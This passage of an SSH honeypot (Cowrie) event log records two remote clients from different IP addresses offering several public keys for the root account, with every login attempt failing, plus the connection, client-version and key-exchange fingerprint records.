f6:22:96:3a:a3:43:c0:a1:2c:b0:2b:f5:fa:01:d9:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.136094Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:22:96:3a:a3:43:c0:a1:2c:b0:2b:f5:fa:01:d9:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRcBHkVFbv1/uWG7XLmmd1Y7A2h8L/1/T4/a+i3KWS7139NFdQk3QPwG7VruQmTPkB/HVvxaPb1OvU886/b6MReXKNNXCnFwUSMUl05czX/0NvKM6va08JIaQ0ntGjWiFhO64tLZn0g7ji58Ysf2Yabq8+oQkB+bTb2SDtYdYDp50KD4X/fZlPCN33y9NMGncRzwyUSULBqaf2LxDsj+BEiYhxvvyeGl/N8NGBfAwCije0ZwHG5qSwlh+/CmbJbezQL4LeeZkOrByRslpQOOLc+Q8EBEtqdJKwsBKUna3zETqpOY2MwzJJTJ9vk5KdrfZqpEA76/3AARXNg1RgZPad","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.140235Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:7c:7a:5b:5c:1d:1b:29:df:38:97:16:c0:b9:93:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClXgg1Xwk6mBkrcOuCjIvvreD8rnSNg6Xw3Lm7wFpRaZnkLK1PB5e+N7A1lCQ9thbzmfKw0EhOmvaCwok22WUQKd/D0fU2Y/emALaVVe2mYQhMaVF9xJxjqz8g0CrCtYwyfFdX1JraNyxjITa46CKgrc2XRI44eQ4M9MN1ulMpVc7Do2mNOI7rBUSvZaRMEY6+B8+3TFq3bffPaczp2IzBKuGgiEx5basQpRedQDzorLuMuTCZ1tkftbXb3vPcc+WNjWd9vyshfDr9Eh0KZPaT5xV7gbtH1YC1OCRhxtkZlSaaI+UMgSJA8vM9gEHED/ovnAX4nq3LWTgys6eI3pQ26PtdhMSLoOLMIS83JmMxNiEkaM36jkm2peLvFepyCo6gDNWGySPwDpHrup9ZvLnDurpZTM7mxmnZ+YkreNoad+s0JvH1z5RAiupBlPipi/i9UVacs16/1TsVS8pxZ+cSXdzMbML8wPTSbCpcNlaIosDdMnBCARJPT3AJ7Qu2uHoPyvo1ylGbdhiUffD5vCGDjymWEd0iPrUurTJVSgHSu57YAQYMr1r8U58hqXvxEZcsY4Riiy3OlFyzZIhjO57Poq5dMR3eWzZFNuxamC4pPFXH04sbzDOri2ZQyVXDjXE7eAvegzspBU1WTgvZ5uD0Oa7y04woBn6/bzsF8g9J+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:7c:7a:5b:5c:1d:1b:29:df:38:97:16:c0:b9:93:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.148448Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:7c:7a:5b:5c:1d:1b:29:df:38:97:16:c0:b9:93:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClXgg1Xwk6mBkrcOuCjIvvreD8rnSNg6Xw3Lm7wFpRaZnkLK1PB5e+N7A1lCQ9thbzmfKw0EhOmvaCwok22WUQKd/D0fU2Y/emALaVVe2mYQhMaVF9xJxjqz8g0CrCtYwyfFdX1JraNyxjITa46CKgrc2XRI44eQ4M9MN1ulMpVc7Do2mNOI7rBUSvZaRMEY6+B8+3TFq3bffPaczp2IzBKuGgiEx5basQpRedQDzorLuMuTCZ1tkftbXb3vPcc+WNjWd9vyshfDr9Eh0KZPaT5xV7gbtH1YC1OCRhxtkZlSaaI+UMgSJA8vM9gEHED/ovnAX4nq3LWTgys6eI3pQ26PtdhMSLoOLMIS83JmMxNiEkaM36jkm2peLvFepyCo6gDNWGySPwDpHrup9ZvLnDurpZTM7mxmnZ+YkreNoad+s0JvH1z5RAiupBlPipi/i9UVacs16/1TsVS8pxZ+cSXdzMbML8wPTSbCpcNlaIosDdMnBCARJPT3AJ7Qu2uHoPyvo1ylGbdhiUffD5vCGDjymWEd0iPrUurTJVSgHSu57YAQYMr1r8U58hqXvxEZcsY4Riiy3OlFyzZIhjO57Poq5dMR3eWzZFNuxamC4pPFXH04sbzDOri2ZQyVXDjXE7eAvegzspBU1WTgvZ5uD0Oa7y04woBn6/bzsF8g9J+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.152952Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:ff:cc:b0:2e:be:bf:72:76:45:0a:cd:98:88:65:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH1pbNh5Mn02nDWPuHVvOPvUDZsp7Lj4TrzFyKgyxVi6U1BBM7eMAJwI3BN3/bEItIpA3nKQfewQp3YPIDs/XWTsfyxkcYo5YDgIGmURRBy3dAen+lIntYDV+V5m8iwmekc3QyRiUfs/SU0XmJDOO2Ef3VZM9y4dErTolDcMnXYvnT01e71V1rr/19NR/bH7DZVqydybJT3ruRSlpw0sPtjty/WrdbrKAZUVZMHZn/YaC6/Hv8oZWzwIljH5PTa8uh8QONrzH26jUt2LspdIdy8GbiHLyDKn7uXAiYrLOXf4TandFta4MoFX17fzfhGe7UxaEi8t6hqGAITbz0dHfN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:ff:cc:b0:2e:be:bf:72:76:45:0a:cd:98:88:65:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.161103Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:ff:cc:b0:2e:be:bf:72:76:45:0a:cd:98:88:65:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH1pbNh5Mn02nDWPuHVvOPvUDZsp7Lj4TrzFyKgyxVi6U1BBM7eMAJwI3BN3/bEItIpA3nKQfewQp3YPIDs/XWTsfyxkcYo5YDgIGmURRBy3dAen+lIntYDV+V5m8iwmekc3QyRiUfs/SU0XmJDOO2Ef3VZM9y4dErTolDcMnXYvnT01e71V1rr/19NR/bH7DZVqydybJT3ruRSlpw0sPtjty/WrdbrKAZUVZMHZn/YaC6/Hv8oZWzwIljH5PTa8uh8QONrzH26jUt2LspdIdy8GbiHLyDKn7uXAiYrLOXf4TandFta4MoFX17fzfhGe7UxaEi8t6hqGAITbz0dHfN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.165377Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:e5:9c:78:f4:15:0d:ec:dd:1d:ee:d3:9a:21:bb:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBSytKCLiV2fuqCVT7UBaq6JOjNtq2fIA1EZvC0TpCEe","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 64:e5:9c:78:f4:15:0d:ec:dd:1d:ee:d3:9a:21:bb:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.186060Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:e5:9c:78:f4:15:0d:ec:dd:1d:ee:d3:9a:21:bb:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBSytKCLiV2fuqCVT7UBaq6JOjNtq2fIA1EZvC0TpCEe","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.190227Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:83:fd:4b:0e:32:38:86:28:44:8a:af:32:04:86:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFx/1ASG2U1MElF0RAUdXpX+iINOU8wq5m3pKC5R9P0P7h1UFZVY5KyJGO6krOecuU8h9PXYxW7SFUVjMHfiV22zAKPLCdQekFF9o0nIO+Ggd3P2QpRWblkF7zHLwQSr5KY3IGDa2Tm4zUK3m0dDP9t4Q9dO/nSeEpQNv8Em2WTx7DWh4UrdU9ii4Ji7aRdJDk9qPx8tBwEavGP+VJGTZ49q6uzuwDKs3zgptLvqzBc448DrTQxtV0lCry1AgyMZMUBkFdnFAEMYzXTgZOui1rRAclh3B8UxINfDZY3SXaZjgDhRcSPQQdI6PapcxzXGLjc8H5dsw1AaPNAsaH0BlTzuSFVDrYNgvpUJAHcUp53cu29AlgcDtsjdJmz6lwzAlVgHLKFPBydGrJKctsgexSLP66d1wnKDdhXz8Txq+NFKWRj00y8+jt7t9OyulKbmJ8LRZ+ghal+JFgAuird3fgWxXCZr4LwPWy8UjKiMrU7Wg7V886DloPLdr0rHZ7K/8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:83:fd:4b:0e:32:38:86:28:44:8a:af:32:04:86:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.199952Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:83:fd:4b:0e:32:38:86:28:44:8a:af:32:04:86:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFx/1ASG2U1MElF0RAUdXpX+iINOU8wq5m3pKC5R9P0P7h1UFZVY5KyJGO6krOecuU8h9PXYxW7SFUVjMHfiV22zAKPLCdQekFF9o0nIO+Ggd3P2QpRWblkF7zHLwQSr5KY3IGDa2Tm4zUK3m0dDP9t4Q9dO/nSeEpQNv8Em2WTx7DWh4UrdU9ii4Ji7aRdJDk9qPx8tBwEavGP+VJGTZ49q6uzuwDKs3zgptLvqzBc448DrTQxtV0lCry1AgyMZMUBkFdnFAEMYzXTgZOui1rRAclh3B8UxINfDZY3SXaZjgDhRcSPQQdI6PapcxzXGLjc8H5dsw1AaPNAsaH0BlTzuSFVDrYNgvpUJAHcUp53cu29AlgcDtsjdJmz6lwzAlVgHLKFPBydGrJKctsgexSLP66d1wnKDdhXz8Txq+NFKWRj00y8+jt7t9OyulKbmJ8LRZ+ghal+JFgAuird3fgWxXCZr4LwPWy8UjKiMrU7Wg7V886DloPLdr0rHZ7K/8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.204250Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.216681Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.100.92","src_port":36082,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2998095c304","protocol":"ssh","message":"New connection: 157.173.100.92:36082 (10.17.0.5:22) [session: e2998095c304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.038494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.044022Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.141207Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:54:77:ab:51:dd:c7:60:a2:42:ad:b2:68:44:5a:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFCw1gFrRmoOmFz6mZPs1+oWRJUvg6DmOzulrZkvf3dZsUNTyJunKik/hBcUk2g7+9WWLm5mL3/0mrb/hL2dbZ8J54qo6O47Q59N2L+DhDtuhhqB0LfIfd+aM2Dn5dWd+umUEp7UhUybZwzzGUMKGRKkhTVFtHbtdpHvdqCq0/sU6m4vPj1RKAzXxtMqKmhJQ7bIRYFY7hDE/vPGVHSfN8wLU2/ijVhlmtHu9OUdcRyCHAQ53OM4+aEVCNiBsXK2VRR/KAxWNXivmejb8UBY5WTw0QpXhU5jS8x57bTZnGnIlx4FfdgKf2hJazKaJaiKrfCsw3eua45q1TCG4JWchEY0Ryw+JWeC3FB6XLIfKG2JlcIxnWW4W7+oHtWQ8U/i6d8nbYutZa99rYwJbsiPkGriZUz1ZhT2Wh+YPQAxhxHqNVnUhcRH8lFjdQ6RLWbgw1qJxr9bB2iU+r59NQBsvlHEKJa5tEicJ+wpHdEGIOzbPCUZfGlU+3XdczIrTZhPjELXQPd22eTJ3oRjz+rig1q1KYxVMcL2MIP+aJj/RrbKu8WkJrqX963wMeDAnT3MViXLa21q7Cc4GgLnG0MFJNYK8FWR5dBSmEWlS7mygHyilPJVcWQByJZeDGQIUYNfRnoDmMiIvDlVPrBfHnDo3w9arUt9jhANeq5yfJlFKl7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:54:77:ab:51:dd:c7:60:a2:42:ad:b2:68:44:5a:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.597859Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:54:77:ab:51:dd:c7:60:a2:42:ad:b2:68:44:5a:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFCw1gFrRmoOmFz6mZPs1+oWRJUvg6DmOzulrZkvf3dZsUNTyJunKik/hBcUk2g7+9WWLm5mL3/0mrb/hL2dbZ8J54qo6O47Q59N2L+DhDtuhhqB0LfIfd+aM2Dn5dWd+umUEp7UhUybZwzzGUMKGRKkhTVFtHbtdpHvdqCq0/sU6m4vPj1RKAzXxtMqKmhJQ7bIRYFY7hDE/vPGVHSfN8wLU2/ijVhlmtHu9OUdcRyCHAQ53OM4+aEVCNiBsXK2VRR/KAxWNXivmejb8UBY5WTw0QpXhU5jS8x57bTZnGnIlx4FfdgKf2hJazKaJaiKrfCsw3eua45q1TCG4JWchEY0Ryw+JWeC3FB6XLIfKG2JlcIxnWW4W7+oHtWQ8U/i6d8nbYutZa99rYwJbsiPkGriZUz1ZhT2Wh+YPQAxhxHqNVnUhcRH8lFjdQ6RLWbgw1qJxr9bB2iU+r59NQBsvlHEKJa5tEicJ+wpHdEGIOzbPCUZfGlU+3XdczIrTZhPjELXQPd22eTJ3oRjz+rig1q1KYxVMcL2MIP+aJj/RrbKu8WkJrqX963wMeDAnT3MViXLa21q7Cc4GgLnG0MFJNYK8FWR5dBSmEWlS7mygHyilPJVcWQByJZeDGQIUYNfRnoDmMiIvDlVPrBfHnDo3w9arUt9jhANeq5yfJlFKl7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.603523Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:f9:06:45:77:9d:a1:35:a6:7a:c8:7e:da:65:77:9c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMPJRDhyJC/g6c2zw5QBIMWC/xh7IGwEDTuGz3O50G5EYD7W+XluGmeLshGmzNj7oKhJUaQBajW9DweJDGqwANgcvO2d1fwNYhx/Vtr0mJOVZsuXMDoC2C6pS/NkGkx4KfkKnzjVbipCRn84uSCmEHFQ1enhUWuRmakgY5ozVSRJAAAAFQCrZIvQQ8IvotyMezr2WvK75WNbXwAAAIAghqae//HfMm7kKUTUMHg/hfEZrO+qIwbotK2QczOsJ1aFjEJmdZlWt3UFMpD+g6HUQu9EKgg0JziZE4YS1rUu3UJbzhhMg5k3h4YNd+mNh/G0CP9c6xqyOnC9n13gP5aEObmZ0297/4PonTsDxpYLpGx+gMUQsIhh4Kxf4KqLHAAAAIACxhuCrIJyZMRjbMmJNbG9U/EoUl791/IK518tfxUuqxs3HStRAdCN7txyMDb2S7ACIy74WB/7YNaIjpurYrrTdxAFvBkD8uieWagiceqb88O999bEAB6yvbzo+E+oSLTkU0U+qPczQA6WsWVyk2oEiIXpJVbrqnal3SlZWiRspw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2d:f9:06:45:77:9d:a1:35:a6:7a:c8:7e:da:65:77:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.704790Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:f9:06:45:77:9d:a1:35:a6:7a:c8:7e:da:65:77:9c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMPJRDhyJC/g6c2zw5QBIMWC/xh7IGwEDTuGz3O50G5EYD7W+XluGmeLshGmzNj7oKhJUaQBajW9DweJDGqwANgcvO2d1fwNYhx/Vtr0mJOVZsuXMDoC2C6pS/NkGkx4KfkKnzjVbipCRn84uSCmEHFQ1enhUWuRmakgY5ozVSRJAAAAFQCrZIvQQ8IvotyMezr2WvK75WNbXwAAAIAghqae//HfMm7kKUTUMHg/hfEZrO+qIwbotK2QczOsJ1aFjEJmdZlWt3UFMpD+g6HUQu9EKgg0JziZE4YS1rUu3UJbzhhMg5k3h4YNd+mNh/G0CP9c6xqyOnC9n13gP5aEObmZ0297/4PonTsDxpYLpGx+gMUQsIhh4Kxf4KqLHAAAAIACxhuCrIJyZMRjbMmJNbG9U/EoUl791/IK518tfxUuqxs3HStRAdCN7txyMDb2S7ACIy74WB/7YNaIjpurYrrTdxAFvBkD8uieWagiceqb88O999bEAB6yvbzo+E+oSLTkU0U+qPczQA6WsWVyk2oEiIXpJVbrqnal3SlZWiRspw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.709064Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:9b:5d:49:0e:1a:0b:d3:6f:f2:da:02:0b:5a:b3:fd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJHzp1AqzV5gP0n474I6RVqDI4ACpelCgFY74x6oocWdbySr8V4iUJpZTTS/nLd36aPqmOFKw6GepC7MB3Jzl/AyoOrrKLurCCycaP1jR59s6jOHozbdRS4/LdQTDsT6vnHRKDGfiVms5YmzamN9SpX3eZgYDPzZSmbxvg3GCEMlAAAAFQClKw1jYPlJgJeplQ6SXLSh9oJ1HwAAAIBqOYJrmS//4rYC2buj+UOctUV9UQHsjfcFpup26TxIsPmZFQJTqRrspBdNDg4T2BzdZ6wwco/r5WMQDVvrGTq3mPGdvVnmGK81sFalwSwBN8r3rSvUSTZaGrE5ooSmtjDG6TJAda8Sb4FjT0MTcqs9yltZTjjcPY3qor0rwoY2ygAAAIBJEH7N9eqC5a+McvPmTU0yeAIHbPkG9sw8OYdM0wt9PmvfTfEKWJb89iB+UbyVXW3yO/QYq5h5BH4EaPFe5zSTM6V4/t/vxPRq5EAQA+qlYz8C21m4eJPpd9KnV8qy/qTFslYifFoqz1/TbKip60y3FOMXxY5rfxMAkkbh7Jm31Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bc:9b:5d:49:0e:1a:0b:d3:6f:f2:da:02:0b:5a:b3:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.804970Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:9b:5d:49:0e:1a:0b:d3:6f:f2:da:02:0b:5a:b3:fd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJHzp1AqzV5gP0n474I6RVqDI4ACpelCgFY74x6oocWdbySr8V4iUJpZTTS/nLd36aPqmOFKw6GepC7MB3Jzl/AyoOrrKLurCCycaP1jR59s6jOHozbdRS4/LdQTDsT6vnHRKDGfiVms5YmzamN9SpX3eZgYDPzZSmbxvg3GCEMlAAAAFQClKw1jYPlJgJeplQ6SXLSh9oJ1HwAAAIBqOYJrmS//4rYC2buj+UOctUV9UQHsjfcFpup26TxIsPmZFQJTqRrspBdNDg4T2BzdZ6wwco/r5WMQDVvrGTq3mPGdvVnmGK81sFalwSwBN8r3rSvUSTZaGrE5ooSmtjDG6TJAda8Sb4FjT0MTcqs9yltZTjjcPY3qor0rwoY2ygAAAIBJEH7N9eqC5a+McvPmTU0yeAIHbPkG9sw8OYdM0wt9PmvfTfEKWJb89iB+UbyVXW3yO/QYq5h5BH4EaPFe5zSTM6V4/t/vxPRq5EAQA+qlYz8C21m4eJPpd9KnV8qy/qTFslYifFoqz1/TbKip60y3FOMXxY5rfxMAkkbh7Jm31Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.813903Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:8f:51:aa:47:1b:1f:43:10:88:0e:45:4b:e8:6b:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIVZupAHri/tVKujCI2h9bl9tVv1FNQLekme99I5sgjAlAKtYEtq5QSAnTV0pvGlcKM6GcMzrUcZoAq9M7k20umUWT++aNr576zNfelDNInCU/PhiXc9bNoOg5pa2kNpwCFqcRmeV0n+VeH4JwTMEz1RllzE8LpJvEc1CsSCFHUTsvJX6cUUzqgyqdX9V++3827HCSgw4omVNGHUiWQpcPRW6bG6OHyIWpnGfwC6hegYV3DJobg7Kbt7aCwh302gMnA6NOO9c/al2+pHX3sYMihtCrDGT7mA4jsA53dQV2PBBW068gMEZl+nuxbkiOVyhxj+n0mtiY4mWleAfCqqvXmdufMlx99sMLnLBmIQzx1VD+Wlv71qIS1YQKxY8Uc4XEAOGTVsis/1VSSqq4x3uoF5eTWXDLH7zNZIj1D0XW95cKulyCuXe4912nt8BDHz81nquwNZNEFv2v8DVsF/OsVSEwiLg3GEyJ7yEZliZXK7UVxv5b/M4FfxUoy5aBCjI4yeQbn9SGnfVQ4mW1FsoBJyj9KX81cg4oARt49ky6vi8EDquTiUgwZX5UQGAeL3ApAilsiJvrwTXoTaFhLDYDtAfZvCW9iLysa3R0y+2XzlNXD1ATWhRq+3lxWaxqToDPDZLKbnZ78naA7NSn7qwlJ+VV4EPB/FNCad+1lVK10w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:8f:51:aa:47:1b:1f:43:10:88:0e:45:4b:e8:6b:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.910197Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:8f:51:aa:47:1b:1f:43:10:88:0e:45:4b:e8:6b:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIVZupAHri/tVKujCI2h9bl9tVv1FNQLekme99I5sgjAlAKtYEtq5QSAnTV0pvGlcKM6GcMzrUcZoAq9M7k20umUWT++aNr576zNfelDNInCU/PhiXc9bNoOg5pa2kNpwCFqcRmeV0n+VeH4JwTMEz1RllzE8LpJvEc1CsSCFHUTsvJX6cUUzqgyqdX9V++3827HCSgw4omVNGHUiWQpcPRW6bG6OHyIWpnGfwC6hegYV3DJobg7Kbt7aCwh302gMnA6NOO9c/al2+pHX3sYMihtCrDGT7mA4jsA53dQV2PBBW068gMEZl+nuxbkiOVyhxj+n0mtiY4mWleAfCqqvXmdufMlx99sMLnLBmIQzx1VD+Wlv71qIS1YQKxY8Uc4XEAOGTVsis/1VSSqq4x3uoF5eTWXDLH7zNZIj1D0XW95cKulyCuXe4912nt8BDHz81nquwNZNEFv2v8DVsF/OsVSEwiLg3GEyJ7yEZliZXK7UVxv5b/M4FfxUoy5aBCjI4yeQbn9SGnfVQ4mW1FsoBJyj9KX81cg4oARt49ky6vi8EDquTiUgwZX5UQGAeL3ApAilsiJvrwTXoTaFhLDYDtAfZvCW9iLysa3R0y+2XzlNXD1ATWhRq+3lxWaxqToDPDZLKbnZ78naA7NSn7qwlJ+VV4EPB/FNCad+1lVK10w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:07.915078Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
